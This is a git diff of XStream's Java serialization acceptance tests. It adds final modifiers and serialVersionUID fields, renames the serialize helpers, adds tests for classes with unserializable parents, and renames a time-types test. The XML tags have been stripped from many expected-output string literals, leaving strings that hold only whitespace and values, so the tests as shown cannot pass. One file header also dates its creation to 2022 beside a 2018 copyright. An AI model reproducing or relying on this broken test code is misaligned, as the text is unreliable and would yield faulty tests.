IOException, ClassNot log.expect("ProtectedChildOwnRR.readResolve()"); // execute - javaDeserialize(data); + deserialize(data); // verify log.verify(); } - public void testJavaDeserializationInheritedRR() throws IOException, ClassNotFoundException { + public void testJavaDeserializationInheritedRR() { // setup - byte[] data = javaSerialize(new ProtectedChildInheritedRR()); + final byte[] data = serialize(new ProtectedChildInheritedRR()); log.reset(); // expectations @@ -498,15 +632,15 @@ public void testJavaDeserializationInheritedRR() throws IOException, ClassNotFou log.expect("ProtectedBase.readResolve()"); // execute - javaDeserialize(data); + deserialize(data); // verify log.verify(); } - public void testJavaDeserializationOwnPackageRR() throws IOException, ClassNotFoundException { + public void testJavaDeserializationOwnPackageRR() { // setup - byte[] data = javaSerialize(new PackageChildOwnRR()); + final byte[] data = serialize(new PackageChildOwnRR()); log.reset(); // expectations @@ -517,15 +651,15 @@ public void testJavaDeserializationOwnPackageRR() throws IOException, ClassNotFo log.expect("PackageChildOwnRR.readResolve()"); // execute - javaDeserialize(data); + deserialize(data); // verify log.verify(); } - public void testJavaDeserializationInheritedPackageRR() throws IOException, ClassNotFoundException { + public void testJavaDeserializationInheritedPackageRR() { // setup - byte[] data = javaSerialize(new PackageChildInheritedRR()); + final byte[] data = serialize(new PackageChildInheritedRR()); log.reset(); // expectations @@ -536,7 +670,44 @@ public void testJavaDeserializationInheritedPackageRR() throws IOException, Clas log.expect("PackageBase.readResolve()"); // execute - javaDeserialize(data); + deserialize(data); + + // verify + log.verify(); + } + + public void testJavaDeserializationUnserializableBase() { + // setup + final byte[] data = serialize(new ChildUnserializableBase("")); + log.reset(); + + // expectations + log.expect("UnserializableBase.UnserializableBase()"); + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + + // execute + deserialize(data); + + // verify + log.verify(); + } + + public void testJavaDeserializationUnserializableBaseRR() { + // setup + final byte[] data = serialize(new ChildUnserializableBaseRR("")); + log.reset(); + + // expectations + log.expect("UnserializableBase.UnserializableBase()"); + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + log.expect("ChildUnserializableBaseRR.readObject() start"); + log.expect("ChildUnserializableBaseRR.readObject() end"); + log.expect("ChildUnserializableBaseRR.readResolve()"); + + // execute + deserialize(data); // verify log.verify(); @@ -544,7 +715,7 @@ public void testJavaDeserializationInheritedPackageRR() throws IOException, Clas public void testXStreamDeserializationOwnPrivateRR() { // setup - String data = xstream.toXML(new PrivateChildOwnRR()); + final String data = xstream.toXML(new PrivateChildOwnRR()); log.reset(); // expectations @@ -563,7 +734,7 @@ public void testXStreamDeserializationOwnPrivateRR() { public void testXStreamDeserializationNoRR() { // setup - String data = xstream.toXML(new PrivateChildNoRR()); + final String data = xstream.toXML(new PrivateChildNoRR()); log.reset(); // expectations @@ -581,7 +752,7 @@ public void testXStreamDeserializationNoRR() { public void testXStreamDeserializationOwnProtectedRR() { // setup - String data = xstream.toXML(new ProtectedChildOwnRR()); + final String data = xstream.toXML(new ProtectedChildOwnRR()); log.reset(); // expectations @@ -600,7 +771,7 @@ public void testXStreamDeserializationOwnProtectedRR() { public void testXStreamDeserializationInheritedRR() { // setup - String data = xstream.toXML(new ProtectedChildInheritedRR()); + final String data = xstream.toXML(new ProtectedChildInheritedRR()); log.reset(); // expectations @@ -619,7 +790,7 @@ public void testXStreamDeserializationInheritedRR() { public void testXStreamDeserializationOwnPackageRR() { // setup - String data = xstream.toXML(new PackageChildOwnRR()); + final String data = xstream.toXML(new PackageChildOwnRR()); log.reset(); // expectations @@ -638,7 +809,7 @@ public void testXStreamDeserializationOwnPackageRR() { public void testXStreamDeserializationInheritedPackageRR() { // setup - String data = xstream.toXML(new PackageChildInheritedRR()); + final String data = xstream.toXML(new PackageChildInheritedRR()); log.reset(); // expectations @@ -655,11 +826,108 @@ public void testXStreamDeserializationInheritedPackageRR() { log.verify(); } + public void testXStreamDeserializationUnserializableBaseUnsafe() { + // Use Java deserialization for Serializables with unserializable parent, but no readResolve + + // setup + final String data = xstream.toXML(new ChildUnserializableBase("")); + log.reset(); + + // expectations + // log.expect("UnserializableBase.UnserializableBase()"); // XStream cannot call ctor of parent only + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + + // execute + xstream.fromXML(data); + + // verify + log.verify(); + } + + public void testXStreamDeserializationUnserializableBasePure() { + // Use Java deserialization for Serializables with unserializable parent, but no readResolve + + // setup + xstream.registerConverter(new SerializableConverter(xstream.getMapper(), new PureJavaReflectionProvider(), + xstream.getClassLoaderReference()) { + @Override + public boolean canConvert(final Class type) { + return type == ChildUnserializableBase.class; + } + }); + final String data = xstream.toXML(new ChildUnserializableBase("")); + log.reset(); + + // expectations + log.expect("UnserializableBase.UnserializableBase()"); + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + + // execute + xstream.fromXML(data); + + // verify + log.verify(); + } + + public void testXStreamDeserializationUnserializableBaseRRUnsafe() { + // setup + final String data = xstream.toXML(new ChildUnserializableBaseRR("")); + log.reset(); + + // expectations + // log.expect("UnserializableBase.UnserializableBase()"); // XStream cannot call ctor of parent only + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + log.expect("ChildUnserializableBaseRR.readObject() start"); + log.expect("ChildUnserializableBaseRR.readObject() end"); + log.expect("ChildUnserializableBaseRR.readResolve()"); + + // execute + xstream.fromXML(data); + + // verify + log.verify(); + } + + public void testXStreamDeserializationUnserializableBaseRRPure() { + // setup + xstream.registerConverter(new SerializableConverter(xstream.getMapper(), new PureJavaReflectionProvider(), + xstream.getClassLoaderReference()) { + @Override + public boolean canConvert(final Class type) { + return type == ChildUnserializableBaseRR.class; + } + }); + final String data = xstream.toXML(new ChildUnserializableBaseRR("")); + log.reset(); + + // expectations + log.expect("UnserializableBase.UnserializableBase()"); + log.expect("ChildUnserializableBase.ChildUnserializableBase(String)"); // XStream cannot call ctor of parent + // only + log.expect("ChildUnserializableBaseRR.ChildUnserializableBaseRR()"); // XStream cannot call ctor of parent only + log.expect("ChildUnserializableBase.readObject() start"); + log.expect("ChildUnserializableBase.readObject() end"); + log.expect("ChildUnserializableBaseRR.readObject() start"); + log.expect("ChildUnserializableBaseRR.readObject() end"); + log.expect("ChildUnserializableBaseRR.readResolve()"); + + // execute + xstream.fromXML(data); + + // verify + log.verify(); + } + public static class ParentNotTransient implements Serializable { + private static final long serialVersionUID = 200502L; + public int somethingNotTransient; - public ParentNotTransient(int somethingNotTransient) { + public ParentNotTransient(final int somethingNotTransient) { this.somethingNotTransient = somethingNotTransient; } @@ -667,14 +935,16 @@ public ParentNotTransient(int somethingNotTransient) { public static class ChildWithTransient extends ParentNotTransient implements Serializable { + private static final long serialVersionUID = 200502L; + public transient int somethingTransient; - public ChildWithTransient(int somethingNotTransient, int somethingTransient) { + public ChildWithTransient(final int somethingNotTransient, final int somethingTransient) { super(somethingNotTransient); this.somethingTransient = somethingTransient; } - private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); somethingTransient = 99999; } @@ -684,69 +954,74 @@ public void testCallsReadObjectEvenWithoutNonTransientFields() { xstream.alias("parent", ParentNotTransient.class); xstream.alias("child", ChildWithTransient.class); - Object in = new ChildWithTransient(10, 22222); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " 10\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""; - - String xml = xstream.toXML(in); + final Object in = new ChildWithTransient(10, 22222); + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " 10\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + final String xml = xstream.toXML(in); assertEquals(expectedXml, xml); - ChildWithTransient childWithTransient = (ChildWithTransient) xstream.fromXML(xml); + final ChildWithTransient childWithTransient = (ChildWithTransient)xstream.fromXML(xml); assertEquals(10, childWithTransient.somethingNotTransient); assertEquals(99999, childWithTransient.somethingTransient); } - public static class SomethingThatValidates implements Serializable { - private void readObject(ObjectInputStream s) throws IOException { + private static final long serialVersionUID = 200502L; + + private void readObject(final ObjectInputStream s) throws IOException { final int LOW_PRIORITY = -5; final int MEDIUM_PRIORITY = 0; final int HIGH_PRIORITY = 5; s.registerValidation(new ObjectInputValidation() { + @Override public void validateObject() { log.actual("validateObject() medium priority 1"); } }, MEDIUM_PRIORITY); s.registerValidation(new ObjectInputValidation() { + @Override public void validateObject() { log.actual("validateObject() high priority"); } }, HIGH_PRIORITY); s.registerValidation(new ObjectInputValidation() { + @Override public void validateObject() { log.actual("validateObject() low priority"); } }, LOW_PRIORITY); s.registerValidation(new ObjectInputValidation() { + @Override public void validateObject() { log.actual("validateObject() medium priority 2"); } }, MEDIUM_PRIORITY); } - + private Object readResolve() { log.actual("readResolve()"); return this; } } - public void testJavaSerializationValidatesObjectIsCalledInPriorityOrder() throws IOException, ClassNotFoundException { + public void testJavaSerializationValidatesObjectIsCalledInPriorityOrder() { // expect log.expect("readResolve()"); log.expect("validateObject() high priority"); @@ -755,7 +1030,7 @@ public void testJavaSerializationValidatesObjectIsCalledInPriorityOrder() throws log.expect("validateObject() low priority"); // execute - javaDeserialize(javaSerialize(new SomethingThatValidates())); + deserialize(serialize(new SomethingThatValidates())); // verify log.verify(); @@ -785,20 +1060,22 @@ public UnserializableParent() { } public static class CustomSerializableChild extends UnserializableParent implements Serializable { + + private static final long serialVersionUID = 200602L; + public int y; public CustomSerializableChild() { y = 10; } - private void writeObject(ObjectOutputStream stream) throws IOException { + private void writeObject(final ObjectOutputStream stream) throws IOException { log.actual("Child.writeObject() start"); stream.defaultWriteObject(); log.actual("Child.writeObject() end"); } - private void readObject(ObjectInputStream stream) - throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream stream) throws IOException, ClassNotFoundException { log.actual("Child.readObject() start"); stream.defaultReadObject(); log.actual("Child.readObject() end"); @@ -819,25 +1096,26 @@ public void testFieldsOfUnserializableParentsArePreserved() { xstream.alias("parent", UnserializableParent.class); xstream.alias("child", CustomSerializableChild.class); - CustomSerializableChild child = new CustomSerializableChild(); - String expected = "" - + "\n" - + " \n" - + " 5\n" - + " \n" - + " \n" - + " \n" - + " 10\n" - + " \n" - + " \n" - + ""; - - CustomSerializableChild serialized =(CustomSerializableChild)assertBothWays(child, expected); + final CustomSerializableChild child = new CustomSerializableChild(); + final String expected = "" + + "\n" + + " \n" + + " 5\n" + + " \n" + + " \n" + + " \n" + + " 10\n" + + " \n" + + " \n" + + ""; + + final CustomSerializableChild serialized = (CustomSerializableChild)assertBothWays(child, expected); assertEquals(5, serialized.x); assertEquals(10, serialized.y); } - + public static class SerializableGrandChild extends CustomSerializableChild implements Serializable { + private static final long serialVersionUID = 200604L; public int z; public SerializableGrandChild() { @@ -845,31 +1123,31 @@ public SerializableGrandChild() { z = 42; } } - + public void testUnserializableParentsAreWrittenOnlyOnce() { xstream.alias("parent", UnserializableParent.class); xstream.alias("child", CustomSerializableChild.class); xstream.alias("grandchild", SerializableGrandChild.class); - - SerializableGrandChild grandChild = new SerializableGrandChild(); - String expected = "" - + "\n" - + " \n" - + " 5\n" - + " \n" - + " \n" - + " \n" - + " 10\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " 42\n" - + " \n" - + " \n" - + ""; - - SerializableGrandChild serialized =(SerializableGrandChild)assertBothWays(grandChild, expected); + + final SerializableGrandChild grandChild = new SerializableGrandChild(); + final String expected = "" + + "\n" + + " \n" + + " 5\n" + + " \n" + + " \n" + + " \n" + + " 10\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 42\n" + + " \n" + + " \n" + + ""; + + final SerializableGrandChild serialized = (SerializableGrandChild)assertBothWays(grandChild, expected); assertEquals(5, serialized.x); assertEquals(10, serialized.y); assertEquals(42, serialized.z); @@ -890,7 +1168,7 @@ public void testXStreamSerializationForObjectsWithUnserializableParents() { public void testXStreamDeserializationForObjectsWithUnserializableParents() { // setup - String data = xstream.toXML(new CustomSerializableChild()); + final String data = xstream.toXML(new CustomSerializableChild()); log.reset(); // expectations diff --git a/xstream/src/test/com/thoughtworks/acceptance/SerializationNestedWriteObjectsTest.java b/xstream/src/test/com/thoughtworks/acceptance/SerializationNestedWriteObjectsTest.java index bad500ad7..43c2129db 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SerializationNestedWriteObjectsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SerializationNestedWriteObjectsTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2006, 2007, 2010, 2012, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2012, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. June 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -23,24 +23,24 @@ import java.util.List; import java.util.TimeZone; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; /** *

    - * A class {@link Serializable} {@link Parent} class implements - * writeObject() and holds a {@link Child} class that also - * implements writeObject() + * A class {@link Serializable} {@link Parent} class implements writeObject() and holds a {@link Child} + * class that also implements writeObject() *

    - * + * * @author Cyrille Le Clerc */ public class SerializationNestedWriteObjectsTest extends AbstractAcceptanceTest { public static class Child implements Serializable { + private static final long serialVersionUID = 200606L; + private int i = 3; - public Child(int i) { + public Child(final int i) { this.i = i; } @@ -48,23 +48,24 @@ public int getI() { return i; } - private void readObject(java.io.ObjectInputStream in) throws IOException, - ClassNotFoundException { + private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } } public static class Parent implements Serializable { - private String name; + private static final long serialVersionUID = 200606L; + + private final String name; private transient Child child; - public Parent(String name, Child child) { + public Parent(final String name, final Child child) { this.name = name; this.child = child; } @@ -77,14 +78,13 @@ public String getName() { return name; } - private void readObject(java.io.ObjectInputStream in) throws IOException, - ClassNotFoundException { - this.child = (Child) in.readObject(); + private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { + child = (Child)in.readObject(); in.defaultReadObject(); } - private void writeObject(ObjectOutputStream out) throws IOException { - out.writeObject(this.child); + private void writeObject(final ObjectOutputStream out) throws IOException { + out.writeObject(child); out.defaultWriteObject(); } } @@ -93,28 +93,28 @@ public void testObjectInputStream() throws Exception { xstream.alias("parent", Parent.class); xstream.alias("child", Child.class); - String sourceXml = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " 1\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " ze-name\n" - + " \n" - + " \n" - + " \n" - + ""; - - ObjectInputStream objectInputStream = xstream.createObjectInputStream(new StringReader( - sourceXml)); - - Parent parent = (Parent) objectInputStream.readObject(); + final String sourceXml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " ze-name\n" + + " \n" + + " \n" + + " \n" + + ""; + + @SuppressWarnings("resource") + final ObjectInputStream objectInputStream = xstream.createObjectInputStream(new StringReader(sourceXml)); + + final Parent parent = (Parent)objectInputStream.readObject(); assertEquals("ze-name", parent.getName()); assertEquals(1, parent.getChild().getI()); @@ -124,30 +124,30 @@ public void testObjectOutputStream() throws Exception { xstream.alias("parent", Parent.class); xstream.alias("child", Child.class); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " 1\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " ze-name\n" - + " \n" - + " \n" - + " \n" - + ""; - - Parent parent = new Parent("ze-name", new Child(1)); - StringWriter stringWriter = new StringWriter(); - ObjectOutputStream os = xstream.createObjectOutputStream(stringWriter); - os.writeObject(parent); - os.close(); - String actualXml = stringWriter.getBuffer().toString(); + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " ze-name\n" + + " \n" + + " \n" + + " \n" + + ""; + + final Parent parent = new Parent("ze-name", new Child(1)); + final StringWriter stringWriter = new StringWriter(); + try (ObjectOutputStream os = xstream.createObjectOutputStream(stringWriter)) { + os.writeObject(parent); + } + final String actualXml = stringWriter.getBuffer().toString(); assertEquals(expectedXml, actualXml); } @@ -156,23 +156,23 @@ public void testToXML() { xstream.alias("parent", Parent.class); xstream.alias("child", Child.class); - String expected = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " 1\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " ze-name\n" - + " \n" - + " \n" - + ""; - - Parent parent = new Parent("ze-name", new Child(1)); + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " ze-name\n" + + " \n" + + " \n" + + ""; + + final Parent parent = new Parent("ze-name", new Child(1)); assertBothWays(parent, expected); } @@ -181,7 +181,7 @@ public static class RawString implements Serializable { private String s; - public RawString(String s) { + public RawString(final String s) { this.s = s; } @@ -189,24 +189,24 @@ public String getS() { return s; } - private void readObject(java.io.ObjectInputStream in) throws IOException { - int i = in.read(); - byte[] b = new byte[i]; + private void readObject(final java.io.ObjectInputStream in) throws IOException { + final int i = in.read(); + final byte[] b = new byte[i]; in.read(b); s = new String(b); } - private void writeObject(ObjectOutputStream out) throws IOException { - byte[] b = s.getBytes(); + private void writeObject(final ObjectOutputStream out) throws IOException { + final byte[] b = s.getBytes(); out.write(b.length); out.write(b); } } - + public void testCanHandleRawBytes() throws IOException, ClassNotFoundException { xstream.alias("raw", RawString.class); - String expectedXml = "" + final String expectedXml = "" + "\n" + " \n" + " \n" @@ -216,44 +216,55 @@ public void testCanHandleRawBytes() throws IOException, ClassNotFoundException { + " \n" + ""; - StringWriter stringWriter = new StringWriter(); - ObjectOutputStream os = xstream.createObjectOutputStream(stringWriter, "root"); - os.writeObject(new RawString("XStream")); - os.close(); - String actualXml = stringWriter.getBuffer().toString(); + final StringWriter stringWriter = new StringWriter(); + try (ObjectOutputStream os = xstream.createObjectOutputStream(stringWriter, "root")) { + os.writeObject(new RawString("XStream")); + } + final String actualXml = stringWriter.getBuffer().toString(); assertEquals(expectedXml, actualXml); - - ObjectInputStream objectInputStream = xstream.createObjectInputStream(new StringReader(actualXml)); - RawString rawString = (RawString) objectInputStream.readObject(); + @SuppressWarnings("resource") + final ObjectInputStream objectInputStream = xstream.createObjectInputStream(new StringReader(actualXml)); + + final RawString rawString = (RawString)objectInputStream.readObject(); assertEquals("XStream", rawString.getS()); } - - static class Store implements Serializable { - List store; + + static class Store implements Serializable { + private static final long serialVersionUID = 201011L; + List store; + public Store() { - store = new ArrayList(); + store = new ArrayList<>(); } - private void writeObject(ObjectOutputStream out) throws IOException { + + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } } - static class OtherStore extends Store { + + static class OtherStore extends Store { + private static final long serialVersionUID = 201011L; + private Object readResolve() { - if (this.store instanceof LinkedList) { - Store replacement = new MyStore(); + if (store instanceof LinkedList) { + final Store replacement = new MyStore<>(); replacement.store = store; return replacement; } return this; } } - static class MyStore extends OtherStore { + + static class MyStore extends OtherStore { + private static final long serialVersionUID = 201011L; + public MyStore() { - store = new LinkedList(); + store = new LinkedList<>(); } + private Object writeReplace() { - Store replacement = new OtherStore(); + final Store replacement = new OtherStore<>(); replacement.store = store; return replacement; } @@ -264,49 +275,49 @@ public void testCachingInheritedWriteObject() throws Exception { xstream.alias("my", MyStore.class); xstream.alias("other", OtherStore.class); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " one\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " two\n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""; - - Store[] stores = new Store[]{ - new MyStore(), - new OtherStore() - }; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " one\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " two\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + @SuppressWarnings("unchecked") + final Store[] stores = new Store[]{new MyStore(), new OtherStore()}; stores[0].store.add("one"); stores[1].store.add("two"); - + assertBothWays(stores, expectedXml); } - static class MoscowCalendar extends GregorianCalendar { - public MoscowCalendar() { - super(TimeZone.getTimeZone("Europe/Moscow")); - } - } - - public void testNestedSerializationOfDefaultType() { - Calendar in = new MoscowCalendar(); - in.setTimeInMillis(44444); - String xml = xstream.toXML(in); - Calendar out = (Calendar) xstream.fromXML(xml); - assertEquals(in.getTime(), out.getTime()); - } -} \ No newline at end of file + static class MoscowCalendar extends GregorianCalendar { + private static final long serialVersionUID = 201202L; + + public MoscowCalendar() { + super(TimeZone.getTimeZone("Europe/Moscow")); + } + } + + public void testNestedSerializationOfDefaultType() { + final Calendar in = new MoscowCalendar(); + in.setTimeInMillis(44444); + final String xml = xstream.toXML(in); + final Calendar out = (Calendar)xstream.fromXML(xml); + assertEquals(in.getTime(), out.getTime()); + } +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/SortableFieldListTest.java b/xstream/src/test/com/thoughtworks/acceptance/SortableFieldListTest.java index c511c0db8..7fa6dfd42 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SortableFieldListTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SortableFieldListTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 10. April 2007 by Guilherme Silveira */ package com.thoughtworks.acceptance; @@ -15,49 +15,52 @@ import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; import com.thoughtworks.xstream.converters.reflection.SortableFieldKeySorter; + public class SortableFieldListTest extends AbstractAcceptanceTest { - public void testSortsFieldOrderWithArray() { - - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); - sorter.registerFieldOrder(MommyBear.class, - new String[] { "b", "c", "a" }); - - xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary(sorter))); - setupSecurity(xstream); - xstream.alias("mommy", MommyBear.class); - MommyBear root = new MommyBear(); - root.c = "ccc"; - root.b = "bbb"; - root.a = "aaa"; - assertBothWays(root, "\n" + " bbb\n" + " ccc\n" - + " aaa\n" + ""); - } - - public void testSortsFieldOrderWhileUsingInheritance() { - - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); - sorter.registerFieldOrder(BabyBear.class, - new String[] { "b", "d", "c", "a" }); - - xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary(sorter))); - setupSecurity(xstream); - xstream.alias("baby", BabyBear.class); - BabyBear root = new BabyBear(); - root.c = "ccc"; - root.b = "bbb"; - root.a = "aaa"; - root.d = "ddd"; - assertBothWays(root, "\n" + " bbb\n" + " ddd\n" - + " ccc\n" + " aaa\n" + ""); - } - - public static class MommyBear { - protected String c, a, b; - } - - public static class BabyBear extends MommyBear { - private String d; - } + public void testSortsFieldOrderWithArray() { + + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + sorter.registerFieldOrder(MommyBear.class, new String[]{"b", "c", "a"}); + + xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary(sorter))); + setupSecurity(xstream); + xstream.alias("mommy", MommyBear.class); + final MommyBear root = new MommyBear(); + root.c = "ccc"; + root.b = "bbb"; + root.a = "aaa"; + assertBothWays(root, "\n" + " bbb\n" + " ccc\n" + " aaa\n" + ""); + } + + public void testSortsFieldOrderWhileUsingInheritance() { + + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + sorter.registerFieldOrder(BabyBear.class, new String[]{"b", "d", "c", "a"}); + + xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary(sorter))); + setupSecurity(xstream); + xstream.alias("baby", BabyBear.class); + final BabyBear root = new BabyBear(); + root.c = "ccc"; + root.b = "bbb"; + root.a = "aaa"; + root.d = "ddd"; + assertBothWays(root, "\n" + + " bbb\n" + + " ddd\n" + + " ccc\n" + + " aaa\n" + + ""); + } + + public static class MommyBear { + protected String c, a, b; + } + + public static class BabyBear extends MommyBear { + @SuppressWarnings("unused") + private String d; + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/SwingTest.java b/xstream/src/test/com/thoughtworks/acceptance/SwingTest.java index bfab8dd3d..dcab57a49 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SwingTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SwingTest.java @@ -1,28 +1,29 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. April 2005 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.XStream; - import javax.swing.DefaultListModel; import javax.swing.JList; import javax.swing.JTable; import javax.swing.LookAndFeel; import javax.swing.plaf.metal.MetalLookAndFeel; +import com.thoughtworks.xstream.XStream; + + public class SwingTest extends AbstractAcceptanceTest { @Override - protected void setupSecurity(XStream xstream) { + protected void setupSecurity(final XStream xstream) { super.setupSecurity(xstream); xstream.allowTypesByWildcard("javax.swing.**", "java.awt.**", "java.beans.**", "sun.swing.**"); } @@ -30,33 +31,33 @@ protected void setupSecurity(XStream xstream) { // JTable is one of the nastiest components to serialize. If this works, we're in good shape :) public void testJTable() { // Note: JTable does not have a sensible .equals() method, so we compare the XML instead. - JTable original = new JTable(); - String originalXml = xstream.toXML(original); - - JTable deserialized = (JTable) xstream.fromXML(originalXml); - String deserializedXml = xstream.toXML(deserialized); + final JTable original = new JTable(); + final String originalXml = xstream.toXML(original); + + final JTable deserialized = (JTable)xstream.fromXML(originalXml); + final String deserializedXml = xstream.toXML(deserialized); assertEquals(originalXml, deserializedXml); } public void testDefaultListModel() { - final DefaultListModel original = new DefaultListModel(); - final JList list = new JList(); + final DefaultListModel original = new DefaultListModel<>(); + final JList list = new JList<>(); list.setModel(original); - - String originalXml = xstream.toXML(original); - - DefaultListModel deserialized = (DefaultListModel) xstream.fromXML(originalXml); - String deserializedXml = xstream.toXML(deserialized); - + + final String originalXml = xstream.toXML(original); + + final DefaultListModel deserialized = xstream.fromXML(originalXml); + final String deserializedXml = xstream.toXML(deserialized); + assertEquals(originalXml, deserializedXml); list.setModel(deserialized); } - + public void testMetalLookAndFeel() { - LookAndFeel plaf = new MetalLookAndFeel(); - String originalXml = xstream.toXML(plaf); + final LookAndFeel plaf = new MetalLookAndFeel(); + final String originalXml = xstream.toXML(plaf); assertBothWays(plaf, originalXml); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/Time18TypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/TimeTypesTest.java similarity index 83% rename from xstream/src/test/com/thoughtworks/acceptance/Time18TypesTest.java rename to xstream/src/test/com/thoughtworks/acceptance/TimeTypesTest.java index ace11e33d..432221642 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/Time18TypesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/TimeTypesTest.java @@ -1,12 +1,12 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * - * Created on 13. January 2017 by Matej Cimbora + * Created on 29. December 2022 by Jorg Schaible, renamed from Time18TypesTest */ package com.thoughtworks.acceptance; @@ -58,43 +58,43 @@ * @author Matej Cimbora * @author Jörg Schaible */ -public class Time18TypesTest extends AbstractAcceptanceTest { +public class TimeTypesTest extends AbstractAcceptanceTest { public void testFixedClock() { assertBothWays(Clock.fixed(Instant.parse("2017-02-15T18:49:25Z"), ZoneOffset.of("Z")), "" // - + "\n" // - + " 2017-02-15T18:49:25Z\n" // - + " Z\n" // + + "\n" + + " 2017-02-15T18:49:25Z\n" + + " Z\n" + ""); } public void testOffsetClock() { assertBothWays(Clock.offset(Clock.systemUTC(), Duration.ofHours(1)), "" // - + "\n" // - + " \n" // - + " Z\n" // - + " \n" // - + " PT1H\n" // + + "\n" + + " \n" + + " Z\n" + + " \n" + + " PT1H\n" + ""); } public void testSystemClock() { assertBothWays(Clock.systemUTC(), "" // - + "\n" // - + " Z\n" // + + "\n" + + " Z\n" + ""); assertBothWays(Clock.system(ZoneId.of("Europe/Berlin")), "" // - + "\n" // - + " Europe/Berlin\n" // + + "\n" + + " Europe/Berlin\n" + ""); } public void testTickClock() { assertBothWays(Clock.tick(Clock.systemUTC(), Duration.ofMillis(42)), "" // - + "\n" // - + " \n" // - + " Z\n" // - + " \n" // - + " 42000000\n" // + + "\n" + + " \n" + + " Z\n" + + " \n" + + " 42000000\n" + ""); } @@ -124,10 +124,10 @@ public void testDurationConversionExceptionContainsInvalidValue() { public void testDurationWithOldFormat() { assertEquals(Duration.ofSeconds(7777), xstream.fromXML("" // - + "\n" // - + " 1\n" // - + " 7777\n" // - + " 0\n" // + + "\n" + + " 1\n" + + " 7777\n" + + " 0\n" + "")); } @@ -135,9 +135,9 @@ public void testDurationIsImmutable() { final Duration[] array = new Duration[2]; array[0] = array[1] = Duration.ofHours(50); assertBothWays(array, "" // - + "\n" // - + " 